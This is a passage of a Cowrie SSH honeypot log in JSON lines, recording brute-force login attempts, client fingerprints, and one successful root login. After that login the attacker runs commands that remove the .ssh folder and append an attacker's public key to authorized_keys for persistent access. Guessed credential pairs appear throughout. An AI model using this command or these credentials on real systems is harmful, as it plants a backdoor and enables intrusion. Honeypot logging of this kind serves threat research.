03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:20.225056Z","src_ip":"23.249.28.115","session":"77e8acb7112e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vip1","password":"12345678","message":"login attempt [vip1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:21.003470Z","src_ip":"23.249.28.115","session":"77e8acb7112e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39604,"dst_ip":"10.17.0.5","dst_port":22,"session":"3491d3e00e70","protocol":"ssh","message":"New connection: 195.178.110.218:39604 (10.17.0.5:22) [session: 3491d3e00e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:21.125446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:21.129114Z","src_ip":"195.178.110.218","session":"3491d3e00e70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"Adminuser123!","message":"login attempt [adminuser/Adminuser123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:21.206897Z","src_ip":"34.81.72.185","session":"ee61dcd0e017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:21.211220Z","src_ip":"195.178.110.218","session":"3491d3e00e70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:21.447781Z","src_ip":"195.178.110.218","session":"3491d3e00e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:22.193868Z","src_ip":"23.249.28.115","session":"77e8acb7112e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:22.448516Z","src_ip":"34.81.72.185","session":"ee61dcd0e017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:22.541971Z","src_ip":"195.178.110.218","session":"3491d3e00e70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":34542,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d3956130425","protocol":"ssh","message":"New connection: 131.161.249.165:34542 (159.203.135.109:22) [session: 7d3956130425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:34.591077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:34.596402Z","src_ip":"131.161.249.165","session":"7d3956130425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:34.724705Z","src_ip":"131.161.249.165","session":"7d3956130425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.246.148","src_port":33386,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6da856a53d6","protocol":"ssh","message":"New connection: 156.238.246.148:33386 (10.17.0.5:22) [session: f6da856a53d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:34.756666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:34.762649Z","src_ip":"156.238.246.148","session":"f6da856a53d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:34.966957Z","src_ip":"156.238.246.148","session":"f6da856a53d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anil","password":"anil@123456","message":"login attempt [anil/anil@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:35.256018Z","src_ip":"131.161.249.165","session":"7d3956130425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"12345","message":"login attempt [vyos/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:35.814938Z","src_ip":"156.238.246.148","session":"f6da856a53d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:36.381072Z","src_ip":"131.161.249.165","session":"7d3956130425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:37.021570Z","src_ip":"156.238.246.148","session":"f6da856a53d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":56656,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc16007ea45a","protocol":"ssh","message":"New connection: 24.144.91.67:56656 (10.17.0.5:22) [session: bc16007ea45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:46.446551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:46.450821Z","src_ip":"24.144.91.67","session":"bc16007ea45a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:46.527148Z","src_ip":"24.144.91.67","session":"bc16007ea45a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"retag","password":"retag123","message":"login attempt [retag/retag123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:46.866256Z","src_ip":"24.144.91.67","session":"bc16007ea45a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:47.945496Z","src_ip":"24.144.91.67","session":"bc16007ea45a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.153.157.222","src_port":56406,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4a4ac15ca06","protocol":"ssh","message":"New connection: 82.153.157.222:56406 (10.17.0.5:22) [session: f4a4ac15ca06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:52.924005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:52.928991Z","src_ip":"82.153.157.222","session":"f4a4ac15ca06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:53.023837Z","src_ip":"82.153.157.222","session":"f4a4ac15ca06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test001","password":"password","message":"login attempt [test001/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:53.748999Z","src_ip":"82.153.157.222","session":"f4a4ac15ca06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:54.845567Z","src_ip":"82.153.157.222","session":"f4a4ac15ca06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.204.171.142","src_port":32854,"dst_ip":"10.17.0.5","dst_port":22,"session":"8337c43ce9df","protocol":"ssh","message":"New connection: 121.204.171.142:32854 (10.17.0.5:22) [session: 8337c43ce9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:07.155399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:07.159652Z","src_ip":"121.204.171.142","session":"8337c43ce9df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:07.396012Z","src_ip":"121.204.171.142","session":"8337c43ce9df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sky","password":"sky123","message":"login attempt [sky/sky123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:08.378561Z","src_ip":"121.204.171.142","session":"8337c43ce9df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.255.212","src_port":52212,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f8a64099541","protocol":"ssh","message":"New connection: 209.38.255.212:52212 (10.17.0.5:22) [session: 7f8a64099541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:09.468585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:09.473118Z","src_ip":"209.38.255.212","session":"7f8a64099541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:09.554374Z","src_ip":"209.38.255.212","session":"7f8a64099541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:09.619382Z","src_ip":"121.204.171.142","session":"8337c43ce9df","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root2025","message":"login attempt [root/root2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:09.913305Z","src_ip":"209.38.255.212","session":"7f8a64099541","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:10.120023Z","src_ip":"209.38.255.212","session":"7f8a64099541","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:10.123479Z","src_ip":"209.38.255.212","session":"7f8a64099541","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:10.128129Z","src_ip":"209.38.255.212","session":"7f8a64099541","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:10.214001Z","src_ip":"209.38.255.212","session":"7f8a64099541","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:10.405046Z","src_ip":"209.38.255.212","session":"7f8a64099541","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:10.408510Z","src_ip":"209.38.255.212","session":"7f8a64099541","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:10.492903Z","src_ip":"209.38.255.212","session":"7f8a64099541","protocol":"ssh"}
